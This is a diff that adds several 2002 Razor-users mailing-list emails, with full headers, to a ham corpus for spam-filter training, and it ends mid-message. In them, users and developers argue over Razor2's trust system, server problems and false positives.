2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id CB519440F2 + for ; Fri, 9 Aug 2002 10:34:12 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Fri, 09 Aug 2002 15:34:12 +0100 (IST) +Received: from webnote.net (mail.webnote.net [193.120.211.219]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g79ETMb07329 for + ; Fri, 9 Aug 2002 15:29:22 +0100 +Received: from usw-sf-list2.sourceforge.net (usw-sf-fw2.sourceforge.net + [216.136.171.252]) by webnote.net (8.9.3/8.9.3) with ESMTP id BAA02272 for + ; Fri, 9 Aug 2002 01:08:16 +0100 +Received: from usw-sf-list1-b.sourceforge.net ([10.3.1.13] + helo=usw-sf-list1.sourceforge.net) by usw-sf-list2.sourceforge.net with + esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17cxAH-00086Z-00; Thu, + 08 Aug 2002 16:58:01 -0700 +Received: from longbow.wesolveit.com.au ([210.10.109.227]) by + usw-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id + 17cx9Y-0004d5-00 for ; Thu, + 08 Aug 2002 16:57:17 -0700 +Received: (qmail 1166 invoked from network); 8 Aug 2002 23:57:07 -0000 +Received: from unknown (HELO adamwin98se) (192.168.2.114) by 0 with SMTP; + 8 Aug 2002 23:57:07 -0000 +From: "Adam Goryachev" +To: +Subject: RE: [Razor-users] What's wrong with the Razor servers now? +Message-Id: +MIME-Version: 1.0 +Content-Type: text/plain; charset="iso-8859-1" +Content-Transfer-Encoding: 7bit +X-Priority: 3 (Normal) +X-Msmail-Priority: Normal +X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0) +In-Reply-To: <81F8FF20-AB1F-11D6-BCF2-00039396ECF2@deersoft.com> +X-Mimeole: Produced By Microsoft MimeOLE V5.00.2615.200 +Importance: Normal +Sender: razor-users-admin@example.sourceforge.net +Errors-To: razor-users-admin@example.sourceforge.net +X-Beenthere: razor-users@example.sourceforge.net +X-Mailman-Version: 2.0.9-sf.net +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , + +List-Id: +List-Unsubscribe: , + +List-Archive: +X-Original-Date: Fri, 9 Aug 2002 10:05:29 +1000 +Date: Fri, 9 Aug 2002 10:05:29 +1000 + +> -----Original Message----- +> From: razor-users-admin@example.sourceforge.net +> [mailto:razor-users-admin@lists.sourceforge.net]On Behalf Of Craig +> R.Hughes +> On Thursday, August 8, 2002, at 02:28 PM, Vipul Ved Prakash wrote: +> +> I'm not sure I understand. Let's say I am an honest +> razor-submitter, and I submit lots of stuff that everyone agrees +> is spam. + +Great, that is very nice of you. + +> Now I get some opt-in mail which looks to me like +> spam. I hit "this is spam". My trust rating plummets -- + +Good! Your opinion of what is spam is unreliable, and therefore, I don't +*want* to trust you. IMHO, that is exactly the case that the trust system is +supposed to sort out. People who incorrectly submit non-spam bulk mail to +razor. + +> assuming most other people recognized that it was in fact +> something they'd requested. Now picture that this happens to +> lots of people in the system. + +Then those lots of people are unreliable, and therefore will all have +minimal trust, but the people with a decent reliability and therefore trust +level will help us all... + +> Again, it might not be a problem, but I don't think we know +> yet. It will probably take a little while for there to be +> enough data in the trust system for it to equilibriate (or has +> it been initialized based on all the submissions/revocations +> gathered before it was switched on?). I suppose we'll know once +> it's equilibriated. Certainly as of right now, people don't +> think SpamNet is working very well at all, where it had been +> working great a week ago. + +IMHO, due to the number of messages you are sending, and the way you are +discussing TeS, (considering that you know *nothing* about it), certainly +looks like you are simply trying to throw doubt/negativity onto razor. + +Personally, I haven't used razor for a few months now because I want to +integrate it into qmail-scanner *without* spam assassin, but haven't had the +time to do that, so even I can't comment on Razor at all..... + +Vipul & co, I think it would be great if there was more transparency in the +whole server process, ie, if you know there is a problem, then tell all of +us, this will avoid all the stupid "Oh, it isn't working again, and it took +me 324 days to work it out" etc... + +Just my $1 worth... + +Regards, +Adam + + + +------------------------------------------------------- +This sf.net email is sponsored by:ThinkGeek +Welcome to geek heaven. +http://thinkgeek.com/sf +_______________________________________________ +Razor-users mailing list +Razor-users@lists.sourceforge.net +https://lists.sourceforge.net/lists/listinfo/razor-users + + diff --git a/bayes/spamham/easy_ham_2/00605.72e165cec076afb86bf1c0487a102bce b/bayes/spamham/easy_ham_2/00605.72e165cec076afb86bf1c0487a102bce new file mode 100644 index 0000000..071974c --- /dev/null +++ b/bayes/spamham/easy_ham_2/00605.72e165cec076afb86bf1c0487a102bce @@ -0,0 +1,125 @@ +From razor-users-admin@lists.sourceforge.net Fri Aug 9 15:38:28 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 5D0C8440F6 + for ; Fri, 9 Aug 2002 10:34:19 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Fri, 09 Aug 2002 15:34:19 +0100 (IST) +Received: from webnote.net (mail.webnote.net [193.120.211.219]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g79EVSb07597 for + ; Fri, 9 Aug 2002 15:31:28 +0100 +Received: from usw-sf-list2.sourceforge.net (usw-sf-fw2.sourceforge.net + [216.136.171.252]) by webnote.net (8.9.3/8.9.3) with ESMTP id AAA01952 for + ; Fri, 9 Aug 2002 00:02:55 +0100 +Received: from usw-sf-list1-b.sourceforge.net ([10.3.1.13] + helo=usw-sf-list1.sourceforge.net) by usw-sf-list2.sourceforge.net with + esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17cwDI-0007uf-00; Thu, + 08 Aug 2002 15:57:04 -0700 +Received: from h-66-166-21-186.snvacaid.covad.net ([66.166.21.186] + helo=rover.vipul.net) by usw-sf-list1.sourceforge.net with esmtp (Exim + 3.31-VA-mm2 #1 (Debian)) id 17cwDC-0005yM-00 for + ; Thu, 08 Aug 2002 15:56:58 -0700 +Received: (from vipul@localhost) by rover.vipul.net (8.11.6/8.11.6) id + g78MuvG06077 for razor-users@lists.sourceforge.net; Thu, 8 Aug 2002 + 15:56:57 -0700 +From: Vipul Ved Prakash +To: razor-users@example.sourceforge.net +Subject: Re: [Razor-users] What's wrong with the Razor servers now? +Message-Id: <20020808155657.A6008@rover.vipul.net> +Reply-To: mail@vipul.net +Mail-Followup-To: razor-users@example.sourceforge.net +References: <20020808204451.GC1767@darkridge.com> + +MIME-Version: 1.0 +Content-Type: text/plain; charset=us-ascii +Content-Disposition: inline +User-Agent: Mutt/1.2.5i +In-Reply-To: ; + from craig@deersoft.com on Thu, Aug 08, 2002 at 03:17:52PM -0700 +X-Operating-System: Linux rover.vipul.net 2.4.18 +X-Privacy: If possible, encrypt your reply. Key at http://vipul.net/ +Sender: razor-users-admin@example.sourceforge.net +Errors-To: razor-users-admin@example.sourceforge.net +X-Beenthere: razor-users@example.sourceforge.net +X-Mailman-Version: 2.0.9-sf.net +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , + +List-Id: +List-Unsubscribe: , + +List-Archive: +X-Original-Date: Thu, 8 Aug 2002 15:56:57 -0700 +Date: Thu, 8 Aug 2002 15:56:57 -0700 + +Craig, + +The problems with missing hashes are being addressed I write this. It +should be fixed soon and it has nothing to do with TeS algorithms. + +cheers, +vipul. + +On Thu, Aug 08, 2002 at 03:17:52PM -0700, Craig R . Hughes wrote: +> I'm talking specifically about the last ~24 hours where it seems +> like things have not been working. People who've been using the +> Outlook plugin have been telling me they've been seeing really +> bad performance, which I've been attributing to the problems +> which have been discussed here and on sa-talk. I'm not saying +> it's completely not working, or that it has no chance of being +> fixed 15 minutes from now, just that it's not currently working, +> and there have been a number of "hiccup" periods in the last +> couple months. Plus, it's hard to deny that we don't know yet +> if the trust network is going to work or not -- it only just got +> switched on, and that changeover seems to have corresponded with +> people noticing things have stopped working right. +> +> C +> +> On Thursday, August 8, 2002, at 01:44 PM, Jordan Ritter wrote: +> +> > On Thu, Aug 08, 2002 at 01:36:15PM -0700, Craig R.Hughes wrote: +> > +> > # Razor2 seems to have been a long time in coming, [...] and doesn't +> > # currently work. +> > +> > Quite a strong statement, Craig, one which over 30,000 active users a +> > day would strongly disagree with. +> > +> > +> > --jordan +> > +> +> +> +> ------------------------------------------------------- +> This sf.net email is sponsored by:ThinkGeek +> Welcome to geek heaven. +> http://thinkgeek.com/sf +> _______________________________________________ +> Razor-users mailing list +> Razor-users@lists.sourceforge.net +> https://lists.sourceforge.net/lists/listinfo/razor-users + +-- + +Vipul Ved Prakash | "The future is here, it's just not +Software Design Artist | widely distributed." +http://vipul.net/ | -- William Gibson + + + +------------------------------------------------------- +This sf.net email is sponsored by:ThinkGeek +Welcome to geek heaven. +http://thinkgeek.com/sf +_______________________________________________ +Razor-users mailing list +Razor-users@lists.sourceforge.net +https://lists.sourceforge.net/lists/listinfo/razor-users + + diff --git a/bayes/spamham/easy_ham_2/00606.aff1067a665502934f28d2494bf9ed29 b/bayes/spamham/easy_ham_2/00606.aff1067a665502934f28d2494bf9ed29 new file mode 100644 index 0000000..efa6e51 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00606.aff1067a665502934f28d2494bf9ed29 @@ -0,0 +1,94 @@ +From razor-users-admin@lists.sourceforge.net Fri Aug 9 15:39:20 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id D2923440FA + for ; Fri, 9 Aug 2002 10:34:27 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Fri, 09 Aug 2002 15:34:27 +0100 (IST) +Received: from webnote.net (mail.webnote.net [193.120.211.219]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g79EWnb07867 for + ; Fri, 9 Aug 2002 15:32:49 +0100 +Received: from usw-sf-list2.sourceforge.net (usw-sf-fw2.sourceforge.net + [216.136.171.252]) by webnote.net (8.9.3/8.9.3) with ESMTP id XAA01767 for + ; Thu, 8 Aug 2002 23:30:26 +0100 +Received: from usw-sf-list1-b.sourceforge.net ([10.3.1.13] + helo=usw-sf-list1.sourceforge.net) by usw-sf-list2.sourceforge.net with + esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17cvgP-00014L-00; Thu, + 08 Aug 2002 15:23:05 -0700 +Received: from med-core07.med.wayne.edu ([146.9.19.23]) by + usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id + 17cvgI-0001hO-00 for ; Thu, + 08 Aug 2002 15:22:58 -0700 +Content-Class: urn:content-classes:message +Subject: RE: [Razor-users] Re: intentions +MIME-Version: 1.0 +Content-Type: text/plain; charset="us-ascii" +X-Mimeole: Produced By Microsoft Exchange V6.0.6249.0 +Message-Id: +X-MS-Has-Attach: +X-MS-Tnef-Correlator: +Thread-Topic: [Razor-users] Re: intentions +Thread-Index: AcI/KPYPpPD2mF7QQQ+5nk/5PkxpPgAAECTw +From: "Rose, Bobby" +To: "Jordan Ritter" , + "Craig R . Hughes" , + +Sender: razor-users-admin@example.sourceforge.net +Errors-To: razor-users-admin@example.sourceforge.net +X-Beenthere: razor-users@example.sourceforge.net +X-Mailman-Version: 2.0.9-sf.net +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , + +List-Id: +List-Unsubscribe: , + +List-Archive: +X-Original-Date: Thu, 8 Aug 2002 18:22:50 -0400 +Date: Thu, 8 Aug 2002 18:22:50 -0400 +Content-Transfer-Encoding: 8bit +X-MIME-Autoconverted: from quoted-printable to 8bit by dogma.slashnull.org + id g79EWnb07867 + +Yeh it sure would be nice to have more info on Tes. That would end all +the confusion. + +Can Spamassassin be considered a competing product when it's typically +used in conjunction with Razor? + +-----Original Message----- +From: Jordan Ritter [mailto:jpr5@darkridge.com] +Sent: Thursday, August 08, 2002 6:09 PM +To: Craig R . Hughes; razor-users@example.sourceforge.net +Subject: [Razor-users] Re: intentions + + +Craig, + + I don't really understand how you can make the claims that you + make without a full understanding of TeS, which you can't have + because we haven't published the details. + + In the end, given that you don't know much about TeS or how it + works, your statements really call into question your intentions + given that you have a competing product in this space. + +Regards, + +--jordan + + +------------------------------------------------------- +This sf.net email is sponsored by:ThinkGeek +Welcome to geek heaven. +http://thinkgeek.com/sf +_______________________________________________ +Razor-users mailing list +Razor-users@lists.sourceforge.net +https://lists.sourceforge.net/lists/listinfo/razor-users + + diff --git a/bayes/spamham/easy_ham_2/00607.c72e1448ce18361a82550ed78a579d47 b/bayes/spamham/easy_ham_2/00607.c72e1448ce18361a82550ed78a579d47 new file mode 100644 index 0000000..8ec4822 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00607.c72e1448ce18361a82550ed78a579d47 @@ -0,0 +1,77 @@ +From razor-users-admin@lists.sourceforge.net Fri Aug 9 15:39:28 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 6D32E440DB + for ; Fri, 9 Aug 2002 10:34:29 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Fri, 09 Aug 2002 15:34:29 +0100 (IST) +Received: from webnote.net (mail.webnote.net [193.120.211.219]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g79EWmb07862 for + ; Fri, 9 Aug 2002 15:32:48 +0100 +Received: from usw-sf-list2.sourceforge.net (usw-sf-fw2.sourceforge.net + [216.136.171.252]) by webnote.net (8.9.3/8.9.3) with ESMTP id XAA01786 for + ; Thu, 8 Aug 2002 23:39:43 +0100 +Received: from usw-sf-list1-b.sourceforge.net ([10.3.1.13] + helo=usw-sf-list1.sourceforge.net) by usw-sf-list2.sourceforge.net with + esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17cvq8-0006D6-00; Thu, + 08 Aug 2002 15:33:08 -0700 +Received: from fly.hiwaay.net ([208.147.154.56] helo=mail.hiwaay.net) by + usw-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) + (Exim 3.31-VA-mm2 #1 (Debian)) id 17cvq0-000545-00 for + ; Thu, 08 Aug 2002 15:33:00 -0700 +Received: from bsd.havk.org (user-24-214-34-165.knology.net + [24.214.34.165]) by mail.hiwaay.net (8.12.5/8.12.5) with ESMTP id + g78MWtSt523176 for ; Thu, + 8 Aug 2002 17:32:56 -0500 (CDT) +Received: by bsd.havk.org (Postfix, from userid 1001) id 8FD231A786; + Thu, 8 Aug 2002 17:32:54 -0500 (CDT) +From: Steve Price +To: razor-users@example.sourceforge.net +Message-Id: <20020808223254.GV3169@bsd.havk.org> +MIME-Version: 1.0 +Content-Type: text/plain; charset=us-ascii +Content-Disposition: inline +User-Agent: Mutt/1.3.27i +X-Operating-System: FreeBSD 4.5-PRERELEASE i386 +Subject: [Razor-users] false-positive found +Sender: razor-users-admin@example.sourceforge.net +Errors-To: razor-users-admin@example.sourceforge.net +X-Beenthere: razor-users@example.sourceforge.net +X-Mailman-Version: 2.0.9-sf.net +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , + +List-Id: +List-Unsubscribe: , + +List-Archive: +X-Original-Date: Thu, 8 Aug 2002 17:32:54 -0500 +Date: Thu, 8 Aug 2002 17:32:54 -0500 + +Razor v1 just called a post to the mutt-users mailing list SPAM +with the following signature. + + b230a8ed84eb262bed1f2c908703990d3483b55f + +BTW, is there are another way for us folks still using v1 to +revoke false-positives such as this without posting to the list? + +Thanks. + +-steve + + +------------------------------------------------------- +This sf.net email is sponsored by:ThinkGeek +Welcome to geek heaven. +http://thinkgeek.com/sf +_______________________________________________ +Razor-users mailing list +Razor-users@lists.sourceforge.net +https://lists.sourceforge.net/lists/listinfo/razor-users + + diff --git a/bayes/spamham/easy_ham_2/00608.9fb43d1696643a1e5799370b089870b8 b/bayes/spamham/easy_ham_2/00608.9fb43d1696643a1e5799370b089870b8 new file mode 100644 index 0000000..388d71c --- /dev/null +++ b/bayes/spamham/easy_ham_2/00608.9fb43d1696643a1e5799370b089870b8 @@ -0,0 +1,85 @@ +From razor-users-admin@lists.sourceforge.net Fri Aug 9 15:39:48 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 7373B440FB + for ; Fri, 9 Aug 2002 10:34:31 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Fri, 09 Aug 2002 15:34:31 +0100 (IST) +Received: from webnote.net (mail.webnote.net [193.120.211.219]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g79EWrb07882 for + ; Fri, 9 Aug 2002 15:32:53 +0100 +Received: from usw-sf-list2.sourceforge.net (usw-sf-fw2.sourceforge.net + [216.136.171.252]) by webnote.net (8.9.3/8.9.3) with ESMTP id XAA01773 for + ; Thu, 8 Aug 2002 23:31:53 +0100 +Received: from usw-sf-list1-b.sourceforge.net ([10.3.1.13] + helo=usw-sf-list1.sourceforge.net) by usw-sf-list2.sourceforge.net with + esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17cvhL-0001av-00; Thu, + 08 Aug 2002 15:24:03 -0700 +Received: from adsl-67-118-106-171.dsl.snfc21.pacbell.net + ([67.118.106.171] helo=frontier.limbo.net) by usw-sf-list1.sourceforge.net + with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17cvgt-0001nm-00 for + ; Thu, 08 Aug 2002 15:23:35 -0700 +Received: by frontier.limbo.net (Postfix, from userid 500) id C6F6630E945; + Thu, 8 Aug 2002 15:26:38 -0700 (PDT) +From: Chip Paswater +Cc: razor-users@example.sourceforge.net +Subject: Re: [Razor-users] keep submitting known spam? +Message-Id: <20020808152638.A32536@frontier.limbo.net> +References: <20020808111842.J1593@rover.vipul.net> + +MIME-Version: 1.0 +Content-Type: text/plain; charset=us-ascii +Content-Disposition: inline +User-Agent: Mutt/1.2.5i +In-Reply-To: ; + from craig@deersoft.com on Thu, Aug 08, 2002 at 01:54:07PM -0700 +X-MY-PGP-Fingerprint: 4D42 5220 2EB4 21F4 39C4 BDDA C948 F15C DE2E F798 +Sender: razor-users-admin@example.sourceforge.net +Errors-To: razor-users-admin@example.sourceforge.net +X-Beenthere: razor-users@example.sourceforge.net +X-Mailman-Version: 2.0.9-sf.net +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , + +List-Id: +List-Unsubscribe: , + +List-Archive: +X-Original-Date: Thu, 8 Aug 2002 15:26:38 -0700 +Date: Thu, 8 Aug 2002 15:26:38 -0700 + +> > To reiterate, the idea behind Razor is to turn 1 bit of +> > information from +> > the user (this message is or isn't spam) into a comprehensive +> > filteration +> > system. Everything from computation of signatures for content +> > identification, to assignment of confidence and trust, distribution of +> > signatures, etc is done automagically. +> +> Well, a little more than one bit -- you have to transmit the +> signature, plus now the entire message body. Plus your ID. +> Plus the rights to all intellectual property contained in any +> email message you submit (I guess technically there are no bits +> in the rights assignment) + +Perhaps a feature can be added to razor-report, so that it checks whether a +message is spam before it submits it. If it is spam, then don't send the +body, 4 signatures, etc, just up the "rating" for that individual spam. + + + + +------------------------------------------------------- +This sf.net email is sponsored by:ThinkGeek +Welcome to geek heaven. +http://thinkgeek.com/sf +_______________________________________________ +Razor-users mailing list +Razor-users@lists.sourceforge.net +https://lists.sourceforge.net/lists/listinfo/razor-users + + diff --git a/bayes/spamham/easy_ham_2/00609.dd49926ce94a1ea328cce9b62825bc97 b/bayes/spamham/easy_ham_2/00609.dd49926ce94a1ea328cce9b62825bc97 new file mode 100644 index 0000000..a04506c --- /dev/null +++ b/bayes/spamham/easy_ham_2/00609.dd49926ce94a1ea328cce9b62825bc97 @@ -0,0 +1,87 @@ +From razor-users-admin@lists.sourceforge.net Fri Aug 9 15:40:39 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 5716244101 + for ; Fri, 9 Aug 2002 10:34:39 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Fri, 09 Aug 2002 15:34:39 +0100 (IST) +Received: from webnote.net (mail.webnote.net [193.120.211.219]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g79EYVb08127 for + ; Fri, 9 Aug 2002 15:34:31 +0100 +Received: from usw-sf-list2.sourceforge.net (usw-sf-fw2.sourceforge.net + [216.136.171.252]) by webnote.net (8.9.3/8.9.3) with ESMTP id WAA01295 for + ; Thu, 8 Aug 2002 22:29:05 +0100 +Received: from usw-sf-list1-b.sourceforge.net ([10.3.1.13] + helo=usw-sf-list1.sourceforge.net) by usw-sf-list2.sourceforge.net with + esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17cufU-0004fE-00; Thu, + 08 Aug 2002 14:18:04 -0700 +Received: from med-core07.med.wayne.edu ([146.9.19.23]) by + usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id + 17cuef-0001ma-00 for ; Thu, + 08 Aug 2002 14:17:14 -0700 +Content-Class: urn:content-classes:message +Subject: RE: [Razor-users] What's wrong with the Razor servers now? +MIME-Version: 1.0 +Content-Type: text/plain; charset="us-ascii" +X-Mimeole: Produced By Microsoft Exchange V6.0.6249.0 +Message-Id: +X-MS-Has-Attach: +X-MS-Tnef-Correlator: +Thread-Topic: [Razor-users] What's wrong with the Razor servers now? +Thread-Index: AcI/Hah4sG2DGoMqRXSnNMBvG50rZAAAEcdg +From: "Rose, Bobby" +To: "Jordan Ritter" , + +Sender: razor-users-admin@example.sourceforge.net +Errors-To: razor-users-admin@example.sourceforge.net +X-Beenthere: razor-users@example.sourceforge.net +X-Mailman-Version: 2.0.9-sf.net +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , + +List-Id: +List-Unsubscribe: , + +List-Archive: +X-Original-Date: Thu, 8 Aug 2002 17:17:05 -0400 +Date: Thu, 8 Aug 2002 17:17:05 -0400 +Content-Transfer-Encoding: 8bit +X-MIME-Autoconverted: from quoted-printable to 8bit by dogma.slashnull.org + id g79EYVb08127 + +I'm one of the 30,000 but it's not working very well this week with the +TES updates and servers not syncing. + +-----Original Message----- +From: Jordan Ritter [mailto:jpr5@darkridge.com] +Sent: Thursday, August 08, 2002 4:45 PM +To: razor-users@example.sourceforge.net +Subject: Re: [Razor-users] What's wrong with the Razor servers now? + + +On Thu, Aug 08, 2002 at 01:36:15PM -0700, Craig R.Hughes wrote: + +# Razor2 seems to have been a long time in coming, [...] and doesn't # +currently work. + +Quite a strong statement, Craig, one which over 30,000 active users a +day would strongly disagree with. + + +--jordan + + +------------------------------------------------------- +This sf.net email is sponsored by:ThinkGeek +Welcome to geek heaven. +http://thinkgeek.com/sf +_______________________________________________ +Razor-users mailing list +Razor-users@lists.sourceforge.net +https://lists.sourceforge.net/lists/listinfo/razor-users + + diff --git a/bayes/spamham/easy_ham_2/00610.a062f84694d7513868326164eeb432fd b/bayes/spamham/easy_ham_2/00610.a062f84694d7513868326164eeb432fd new file mode 100644 index 0000000..4e238e9 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00610.a062f84694d7513868326164eeb432fd @@ -0,0 +1,69 @@ +From razor-users-admin@lists.sourceforge.net Fri Aug 9 15:41:02 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 02E8644103 + for ; Fri, 9 Aug 2002 10:34:42 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Fri, 09 Aug 2002 15:34:42 +0100 (IST) +Received: from webnote.net (mail.webnote.net [193.120.211.219]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g79EYUb08121 for + ; Fri, 9 Aug 2002 15:34:30 +0100 +Received: from usw-sf-list2.sourceforge.net (usw-sf-fw2.sourceforge.net + [216.136.171.252]) by webnote.net (8.9.3/8.9.3) with ESMTP id WAA01319 for + ; Thu, 8 Aug 2002 22:32:08 +0100 +Received: from usw-sf-list1-b.sourceforge.net ([10.3.1.13] + helo=usw-sf-list1.sourceforge.net) by usw-sf-list2.sourceforge.net with + esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17cujL-000682-00; Thu, + 08 Aug 2002 14:22:03 -0700 +Received: from med-core07.med.wayne.edu ([146.9.19.23]) by + usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id + 17cuii-0003mh-00 for ; Thu, + 08 Aug 2002 14:21:24 -0700 +Content-Class: urn:content-classes:message +Subject: RE: [Razor-users] keep submitting known spam? +MIME-Version: 1.0 +Content-Type: text/plain; charset="us-ascii" +X-Mimeole: Produced By Microsoft Exchange V6.0.6249.0 +Message-Id: +X-MS-Has-Attach: +X-MS-Tnef-Correlator: +Thread-Topic: [Razor-users] keep submitting known spam? +Thread-Index: AcI/HugpspMLYE2pSpSycVEVVKFWbgAAiC3w +From: "Rose, Bobby" +To: +Sender: razor-users-admin@example.sourceforge.net +Errors-To: razor-users-admin@example.sourceforge.net +X-Beenthere: razor-users@example.sourceforge.net +X-Mailman-Version: 2.0.9-sf.net +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , + +List-Id: +List-Unsubscribe: , + +List-Archive: +X-Original-Date: Thu, 8 Aug 2002 17:21:17 -0400 +Date: Thu, 8 Aug 2002 17:21:17 -0400 +Content-Transfer-Encoding: 8bit +X-MIME-Autoconverted: from quoted-printable to 8bit by dogma.slashnull.org + id g79EYUb08121 + +If you're an ISP or running a good size mail server and you submit 2-5 +thousands messages a day regardless if it's already been submitted, +would your rating go up faster offsetting the drop from revokes? + + +------------------------------------------------------- +This sf.net email is sponsored by:ThinkGeek +Welcome to geek heaven. +http://thinkgeek.com/sf +_______________________________________________ +Razor-users mailing list +Razor-users@lists.sourceforge.net +https://lists.sourceforge.net/lists/listinfo/razor-users + + diff --git a/bayes/spamham/easy_ham_2/00611.f414a72ef66b7df242391b54b16a0b2f b/bayes/spamham/easy_ham_2/00611.f414a72ef66b7df242391b54b16a0b2f new file mode 100644 index 0000000..3f0d7e2 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00611.f414a72ef66b7df242391b54b16a0b2f @@ -0,0 +1,115 @@ +From razor-users-admin@lists.sourceforge.net Fri Aug 9 15:41:12 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 854EC44104 + for ; Fri, 9 Aug 2002 10:34:43 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Fri, 09 Aug 2002 15:34:43 +0100 (IST) +Received: from webnote.net (mail.webnote.net [193.120.211.219]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g79EYjb08152 for + ; Fri, 9 Aug 2002 15:34:45 +0100 +Received: from usw-sf-list2.sourceforge.net (usw-sf-fw2.sourceforge.net + [216.136.171.252]) by webnote.net (8.9.3/8.9.3) with ESMTP id WAA01364 for + ; Thu, 8 Aug 2002 22:36:05 +0100 +Received: from usw-sf-list1-b.sourceforge.net ([10.3.1.13] + helo=usw-sf-list1.sourceforge.net) by usw-sf-list2.sourceforge.net with + esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17cur4-0008VS-00; Thu, + 08 Aug 2002 14:30:02 -0700 +Received: from h-66-166-21-186.snvacaid.covad.net ([66.166.21.186] + helo=rover.vipul.net) by usw-sf-list1.sourceforge.net with esmtp (Exim + 3.31-VA-mm2 #1 (Debian)) id 17cuq7-00063H-00 for + ; Thu, 08 Aug 2002 14:29:03 -0700 +Received: (from vipul@localhost) by rover.vipul.net (8.11.6/8.11.6) id + g78LT0B05328; Thu, 8 Aug 2002 14:29:00 -0700 +From: Vipul Ved Prakash +To: "Craig R . Hughes" +Cc: razor-users@example.sourceforge.net +Subject: Re: [Razor-users] What's wrong with the Razor servers now? +Message-Id: <20020808142859.A4489@rover.vipul.net> +Reply-To: mail@vipul.net +Mail-Followup-To: "Craig R . Hughes" , + razor-users@lists.sourceforge.net +References: <007001c23ef4$25af8f40$6600a8c0@dhiggins> + +MIME-Version: 1.0 +Content-Type: text/plain; charset=us-ascii +Content-Disposition: inline +User-Agent: Mutt/1.2.5i +In-Reply-To: ; + from craig@deersoft.com on Thu, Aug 08, 2002 at 01:09:22PM -0700 +X-Operating-System: Linux rover.vipul.net 2.4.18 +X-Privacy: If possible, encrypt your reply. Key at http://vipul.net/ +Sender: razor-users-admin@example.sourceforge.net +Errors-To: razor-users-admin@example.sourceforge.net +X-Beenthere: razor-users@example.sourceforge.net +X-Mailman-Version: 2.0.9-sf.net +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , + +List-Id: +List-Unsubscribe: , + +List-Archive: +X-Original-Date: Thu, 8 Aug 2002 14:28:59 -0700 +Date: Thu, 8 Aug 2002 14:28:59 -0700 + +Craig, + +For the most part, 99% times 99% users agree on what is spam. This is the +nature of the spam problem. Now if you were to use a "personal trust" +system, you'd have a huge personal trust group that would include 99% of +the userbase. This means 99% times you'd be coming to the same conclusion, +only after burning several orders of 